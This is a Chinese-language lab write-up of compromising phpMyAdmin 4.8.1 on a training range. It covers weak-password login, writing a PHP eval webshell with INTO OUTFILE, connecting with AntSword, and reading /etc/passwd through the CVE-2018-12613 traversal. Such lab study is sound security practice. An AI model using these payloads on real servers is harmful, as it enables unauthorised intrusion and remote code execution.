文章目录
墨者靶场phpMyAdmin
phpMyAdmin登录:弱口令方式,root/空,root/root。
成功登录phpMyAdmin后查看靶场环境:
nginx/1.14.2
mysql/5.0.11
php/5.6.39
phpmyadmin/4.8.1
查看root的【账户】,拥有增删用户的权限:
实验
1、尝试使用into outfile导出木马到新建文件:
选择【SQL】:
查看绝对路径:SELECT @@basedir;
使用into outfile导出木马(知道网站的绝对路径):
SELECT ‘<?php @eval($_POST[here]);?>’ INTO OUTFILE ‘/var/www/html/here.php’
(忘记闭合小括号导致又执行了一次正确的语句)
(对于Windows服务器,路径例如: ‘D:\soft\phpStudy\www\xxx.php’;)
一句话木马位置:起初以为phpmyadmin和http不在一个端口,但访问219.153.49.228、219.153.49.228:80、219.153.49.228:8080都显示超时。尝试访问http://219.153.49.228:40366/here.php,成功找到木马位置,可知该http服务也运行在40366端口。
使用AntSword连接成功:
2、 phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
影响范围:phpMyAdmin 4.8.0和4.8.1。
CTF遇到过这个漏洞,漏洞点是:?截取导致的白名单绕过,以及目录穿越导致的任意文件包含。
利用条件:登录phpMyAdmin。知道要读取的文件的路径。
大概场景:PHPMyadmin团队考虑到,参数page的值后面再跟参数的情况,即可能会向所包含的文件传递参数。使用?作为分隔符取参数page的首部,以便在page带有参数的情况下也能正确地包含文件。
目录穿越-文件名解析:在Win10创建文件,发现/和?无法作为文件名,但是%可以。也就是说,如果文件名中包含/,那么就会被PHP当作目录处理。
场景利用:我们可以把白名单文件sql.php当作一个目录,通过目录穿越来包含指定的文件,使实现文件包含漏洞。
登录后,在/index.php中传递参数target,参数包含白名单文件名、通过目录穿越想要读取的文件,比如http://219.153.49.228:43658/index.php?target=sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd:
除了读取phpinfo.php等任意文件,还可以包含木马文件、日志包含等拿shell。
其它
(1)登录phpMyAdmin后利用Mysql日志文件
Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题没有成功)
(2)《CVE-2016-5734 phpmyadmin后台代码执行漏洞复现
文章地址https://xz.aliyun.com/t/7836
影响版本:
Phpmyadmin -> 4.0.10.16之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
总结
漏洞利用条件:成功登录phpMyAdmin,进入操作页面。
参考
《mysql5.7导出数据提示–secure-file-priv选项问题的解决方法》,
文章地址https://blog.csdn.net/fdipzone/article/details/78634992
《渗透测试-PhpMyAdmin后台getshell》,
文章地址https://blog.csdn.net/weixin_39190897/article/details/99108699
《记一次靶场搭建后的***测试》,
文章地址https://blog.51cto.com/12332766/2341768